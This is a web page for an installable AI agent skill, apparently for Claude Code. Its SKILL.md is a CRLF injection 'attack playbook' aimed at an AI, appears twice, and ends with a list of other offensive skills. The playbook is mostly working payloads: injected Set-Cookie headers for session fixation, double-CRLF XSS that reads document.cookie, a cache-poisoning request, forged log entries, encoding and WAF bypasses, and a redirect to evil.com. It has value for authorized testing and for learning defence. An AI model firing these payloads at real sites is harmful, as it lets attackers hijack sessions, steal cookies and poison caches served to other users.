/crlf-injection
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
$ npx -y skills add yaklang/hack-skills --skill crlf-injection --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/crlf-injection
Context preview
The summary Claude sees to decide when to auto-load this skill.
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
SKILL.md
crlf-injection.SKILL.mdname: crlf-injection
description: >-
CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
SKILL: CRLF Injection — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
0. RELATED ROUTING
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java service** and `%0D%0A` / `\r\n` encodings are WAF-blocked — substituting `瘍` (U+760D, low byte `\r`) and `瘊` (U+760A, low byte `\n`) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
1. CORE CONCEPT
CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
---
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
---
3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
XSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
---
4. FILTER BYPASS
| Filter | Bypass | |---|---| | Blocks `%0D%0A` | Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode) | | URL decodes once | Double-encode: `%250D%250A` | | Strips `\r\n` literally | Use URL-encoded form | | Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR
---
5. REAL-WORLD EXPLOITATION CHAINS
CRLF + Session Fixation
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after login
CRLF → XSS via Double CRLF Body Injection
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
CRLF in 302 Location → Redirect Hijack
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com
---
6. COMMON VULNERABLE PATTERNS
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));---
7. TESTING CHECKLIST
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
Read more
name: crlf-injection description: >- CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
SKILL: CRLF Injection — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
0. RELATED ROUTING
- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java service** and `%0D%0A` / `\r\n` encodings are WAF-blocked — substituting `瘍` (U+760D, low byte `\r`) and `瘊` (U+760A, low byte `\n`) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
1. CORE CONCEPT
CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
Normal: Location: /page?url=USER_INPUT Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true Result: Two headers — Location + injected Set-Cookie
---
2. DETECTION
Basic Probe
%0D%0ANew-Header:injected # In URL parameter: https://target.com/redirect?url=%0D%0AX-Injected:true # Check response headers for "X-Injected: true"
Double CRLF — Body Injection
Two consecutive CRLF sequences end headers and start body:
%0D%0A%0D%0A<script>alert(1)</script> # Result: HTTP/1.1 302 Found Location: /page <script>alert(1)</script>
---
3. EXPLOITATION SCENARIOS
Session Fixation via Set-Cookie
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
XSS via Response Body
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
Cache Poisoning
If the response is cached by a CDN or proxy, injected headers/body are served to all users:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
Log Injection
CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
---
4. FILTER BYPASS
| Filter | Bypass | |---|---| | Blocks `%0D%0A` | Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode) | | URL decodes once | Double-encode: `%250D%250A` | | Strips `\r\n` literally | Use URL-encoded form | | Blocks in value only | Inject in parameter name |
# Unicode/UTF-8 bypass: %E5%98%8A%E5%98%8D → decoded as CRLF in some parsers # Double URL encoding: %250D%250A → server decodes to %0D%0A → interpreted as CRLF # Partial injection (LF only): %0A → some servers accept LF without CR
---
5. REAL-WORLD EXPLOITATION CHAINS
CRLF + Session Fixation
# Inject Set-Cookie via CRLF in redirect parameter: ?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id # Result: HTTP/1.1 302 Found Location: /page Set-Cookie: PHPSESSID=attacker_controlled_session_id # Victim uses attacker's session → attacker hijacks after login
CRLF → XSS via Double CRLF Body Injection
# Two CRLF sequences end headers and inject response body: ?url=%0D%0A%0D%0A<script>alert(document.cookie)</script> # Result: HTTP/1.1 302 Found Location: /page <script>alert(document.cookie)</script>
CRLF in 302 Location → Redirect Hijack
# Inject new Location header before the original: ?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A # Some servers use the LAST Location header → redirect to evil.com
---
6. COMMON VULNERABLE PATTERNS
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));---
7. TESTING CHECKLIST
□ Inject %0D%0A in redirect URL parameters □ Inject %0D%0A in Set-Cookie name/value paths □ Try double CRLF for body injection → XSS □ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A) □ Check if response is cacheable → cache poisoning □ Test in User-Agent / Referer for log injection □ Test CRLF + Set-Cookie for session fixation □ Verify if Location header can be injected in 302 responses
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 101 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
Other skills on hack-skills.
- /401-403-bypass-techniques
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
Open skill - /active-directory-acl-abuse
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Open skill - /active-directory-certificate-services
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Open skill - /active-directory-kerberos-attacks
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.
Open skill - /ai-ml-security
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.
Open skill - /android-pentesting-tricks
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
Open skill